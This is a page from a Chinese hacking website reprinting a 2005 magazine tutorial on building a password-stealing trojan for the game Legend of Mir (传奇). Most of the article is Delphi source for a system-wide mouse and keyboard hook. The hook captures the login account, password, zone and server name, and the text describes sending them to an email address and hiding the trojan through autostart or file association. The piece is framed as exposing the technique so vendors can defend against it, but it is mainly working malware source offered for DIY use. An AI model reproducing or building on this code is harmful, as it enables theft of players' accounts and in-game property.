首 页文章中心黑客工具黑吧学院技术论坛安全培训免费频道最近更新瑞星在线杀毒黑吧百度繁體中文
  设为首页
加入收藏
发布作品
   
栏目导航
· 漏洞利用 · 脚本注入
· 入侵实例 · 编程代码
· 逆向工程
热门文章
· 如何封别人QQ
· 充QQ币的疯狂——宽...
· 免费得QB
· 400秒远程攻破你的Q...
· [图文] QQ免费建400个群
· [组图] 给你一台永远不关机...
· [注意] QQ宠物砸蛋秘诀
· 再次有机会免费获得...
· 想的挂QQvip的进
· 在QQ中将自己从对方...
相关文章
传奇木马DIY
作者:xyzreg  来源:[E.S.T]]  发布时间:2005-10-16 9:33:04  发布人:黑客动画吧

减小字体 增大字体

注:此文已发表在《黑客防线》2005年第3期上,版权归其所有

网络上的传奇木马屡见不鲜,一个服务端甚至卖到几百元,而源代码更是以几千元甚至更高的价钱出售。为何身价这么高呢?因为传奇木马要实现窃取区域、服务器、人物装备等信息的效果,不仅仅是简单的键盘记录,有时还需运用内存搜索、网络数据包嗅探等技术,所以写起来相对而言有点难度,但这并不代表编写传奇木马的技术就有多难。今天笔者就来解析解析,讲解一下怎样编写传奇木马,同时希望借分析这种木马的功能实现而有游戏厂商能防止这种盗号 ,让广大游戏爱好者真正拥有一片纯净的游戏空间。

我们这个程序具有以下功能:获取“ 传奇”游戏的登录信息:区号、登录账号、密码、服务器名,并发送到指定的邮箱。设置自动运行键值后,此木马服务端就随系统启动并一直运行着,如果同时设置了关联启动,则得到一次的信息后即关闭自己,并随“传奇”游戏再次启动。设置关联时,机器启动后,木马并不运行,只有运行“传奇”游戏时木马才会随着启动,这样可以增强点隐蔽性。

再次提醒大家,本文主要目的在于揭开身价较高的传奇木马的面纱,阐述截取区域及服务器信息的编程方法,所以没有添加截取人物职业、等级、随身装备功能,也没加入用于保护自身的驱动编程以及rootkit技术,有兴趣和精力的朋友可以自己添加。好,下面正式进入迷人的代码天地(关键代码后均加注释,完整代码见光盘):

获取“传奇”密码、区域、服务器的主要代码
unit unitHook;

interface
 ……
function EnableHook:Boolean;stdcall //有效钩子程序
function DisableHook:Boolean;stdcall; //无效钩子程序
……
implementation
……
//列举子窗体的回调函数
function EnumChildWindowsProc(hChild: HWnd): Boolean; stdcall;
var
szClassName: array[0..255] of char;
begin
Result := True; //设定为True才会再找下一个
GetClassName(hChild, szClassName, 255);
if StrPas(szClassName)='TEdit' then begin
 inc(numEdit);
 if numEdit=1 then
 hEdit2:= hChild //密码
 else if numEdit=2 then
 hEdit1:= hChild //账号
end;
end;

//取密码
procedure GetPassword;
var
ss,ID,PW:string;
begin
numEdit:=0;//识别TEdit控件数量
EnumChildWindows(hActiv, @EnumChildWindowsProc, 0);//列举控件
if numEdit=2 then begin
 ID:=trim(GetCaption(hEdit1));
 PW:=trim(GetCaption(hEdit2));
 if (ID<>'')and(PW<>'') then begin
 nNext:=3;
 ss:=Format('账号=%s,密码=%s',[ID,PW])+' '+FormatDateTime('yyyy-mm-dd hh:nn:ss',Now);
 StrCopy(@pShMem^.Text,PChar(ss));
 PostMessage(pShMem^.hMainWnd, WM_MOUSEPT, 2, 2); //通知
 end;
end;
end;

//取服务器名
procedure GetServerName;
const
x1=310;x2=477;
y1=144;
d=3; //服务器名按钮间隔
step=42; //服务器名按钮步长
var
P : TPoint;
yy, n1, n2 : integer;
IniFileName, Ident, ss : string;
begin
GetCursorPos(P); //获取当前鼠标的坐标
if (p.X<x1) or (p.X>x2) or (p.Y<y1) then exit; //鼠标点击不在服务器名的区域中

yy:=p.Y-y1;
n1:=yy div step;
n2:=(yy+d) div step;
if n1=n2 then inc(n1)
else n1:=0;

if n1=0 then exit; //鼠标点击不在服务器名上

IniFileName:=ExtractFilePath(ParamStr(0))+'ftp.ini';
Ident:='server'+IntToStr(n1)+'caption';
ss:=ReadStringFromIniFile(IniFileName,Ident);
if ss<>'' then begin
ss:=ss+' '+FormatDateTime('yyyy-mm-dd hh:nn:ss',Now);
 StrCopy(@pShMem^.Text,PChar('服务器='+ss));
 //PostMessage(pShMem^.hMainWnd, WM_MOUSEPT, 2, 2); //通知
 PostMessage(pShMem^.hMainWnd, WM_MOUSEPT, 10, 2); //通知取信息,并反馈发送
end;
end;

//鼠标钩子过程,由判断鼠标的动作来决定writetotxt
//参数分别是钩子代码,wParam鼠标消息号,lParam指向一个MOUSEHOOKSTRUCT (包含了有关鼠标事件的信息)
function MouseHookPro(iCode:integer; wParam:wparam; lParam:lparam): LResult;stdcall;export;
var
hControl : HWND;
WinClass, WinText, ss : string;
P:TPoint;
rcWin:TRect;
begin
if (iCode=HC_ACTION) and (wParam=WM_LBUTTONUP) then begin//如果是鼠标单击的消息
 hActiv:=GetActiveWindow;
 WinClass:=GetClass(hActiv);
 if Uppercase(WinClass)='TFRMMAIN' then begin
 WinText:=GetCaption(hActiv);
 if WinText='传奇客户端' then begin
 hControl:=FindWindowEx(hActiv,0,'TComboBox',nil);
 if hControl<>0 then begin //是区号选择窗口
 GetWindowRect(hActiv,rcWin);
 P.X:= PMouseHookStruct(lParam)^.pt.X - rcWin.Left;
 P.Y:= PMouseHookStruct(lParam)^.pt.Y - rcWin.Top;
 if(P.X>=200)and(P.X<=280)and(P.Y>=348)and(P.Y<=380)then begin//“确认”按钮
 ss:='区号='+GetCaption(hControl)+' '+FormatDateTime('yyyy-mm-dd hh:nn:ss',Now);
 StrCopy(@pShMem^.Text,PChar(ss));
 PostMessage(pShMem^.hMainWnd, WM_MOUSEPT, 2, 2); //通知
 end;
 end;
 end else if WinText='legend of mir2' then begin
 if nNext=3 then begin
GetServerName; //取服务器名,与下段先后顺序不能颠倒
 nNext:=0;
 end;

 P:=PMouseHookStruct(lParam)^.pt;
 if(P.X>=421)and(P.X<=501)and(P.Y>=336)and(P.Y<=371)then //[提交]按钮
 GetPassword; //取密码,与上段先后顺序不能颠倒

 end;
 end;
end;

Result:=CallNextHookEx(mousehook,iCode,wParam,lParam);
end;

//键盘hook,wParam 键ASCII码
function KeyboardHookPro(iCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT;
stdcall; export;
var
WinClass, WinText : string;
begin
if (iCode=HC_ACTION) and
 ((lParam and $80000000)=0) and //$80000000键盘掩码常量
 (wParam=$0D) then begin //$0D回车键
 hActiv:=GetActiveWindow;
 WinClass:=GetClass(hActiv);
 WinText:=GetCaption(hActiv);
 if (Uppercase(WinClass)='TFRMMAIN')and(WinText='legend of mir2') then begin
 GetPassword;//取密码
 end;
end;

Result := CallNextHookEx(keyboardhook, iCode, wParam, lParam);
end;

//有效钩子程序
function EnableHook:boolean;stdcall;export;
begin
if mousehook=0 then
 mousehook:=SetWindowsHookEx(wh_mouse,MouseHookPro,HInstance,0);//鼠标钩子
if keyboardhook=0 then
 keyboardhook:=SetWindowsHookEx(wh_keyboard,KeyboardHookPro, hinstance,0);//键盘钩子

Result:=(mousehook<>0)and(keyboardhook<>0);
end;

//无效钩子程序
function DisableHook:boolean;stdcall;export;
begin
if mousehook<>0 then
 if UnHookWindowsHookEx(mousehook) then mousehook:=0;//鼠标钩子
if keyboardhook<>0 then
 if UnHookWindowsHookEx(keyboardhook) then keyboardhook:=0;//键盘钩子
Result:=(mousehook=0)and(keyboardhook=0);
end;

initialization
{如果映射文件已经存在则打开}
hMappingFile := OpenFileMapping(FILE_MAP_WRITE, False, MappingFileName);
if hMappingFile = 0 then
 {创建映射文件}
 hMappingFile := CreateFileMapping($FFFFFFFF, nil,PAGE_READWRITE, 0,
 SizeOf(TShareMem), PChar(MappingFileName));
if hMappingFile <> 0 then begin
 {句柄pShMem指向映射文件地址}
 pShMem := PShareMem(MapViewOfFile(hMappingFile,FILE_MAP_WRITE,0,0,0));
 if pShMem = nil then begin
 CloseHandle(hMappingFile);
 MessageBox(0,'不能建立共享内存!','',0);
 exit;
 end;
end;

mousehook:=0;
keyboardhook:=0;
nNext:=0;

finalization
UnMapViewOfFile(pShMem);
CloseHandle(hMappingFile);

end.

由于篇幅原因,笔者在文中只讲述了截取“传奇”游戏用户名、密码、区域、服务器等信息的关键代码,关于发信部分以及自我保护,修改注册表及文件关联的代码就不在这里细讲,完整代码已经防在光盘,并且已配有详细的注释,有兴趣的朋友可以查看,希望游戏厂商能加入反木马技术,使各位玩家不再受木马之苦,顺祝各玩家玩得愉快。
[ ] [返回上一页] [打 印] [收 藏]
 
关于本站 - 网站帮助 - 广告合作 - 下载声明 - 网站导航 - 作品发布
互联网备案登记:粤ICP备05008775号
友情提示:浏览本站,请使用IE6.0浏览,并将分辩率设置为1024*768 为佳
Copyright © 2002-2005 Hack58.Com. All Rights Reserved .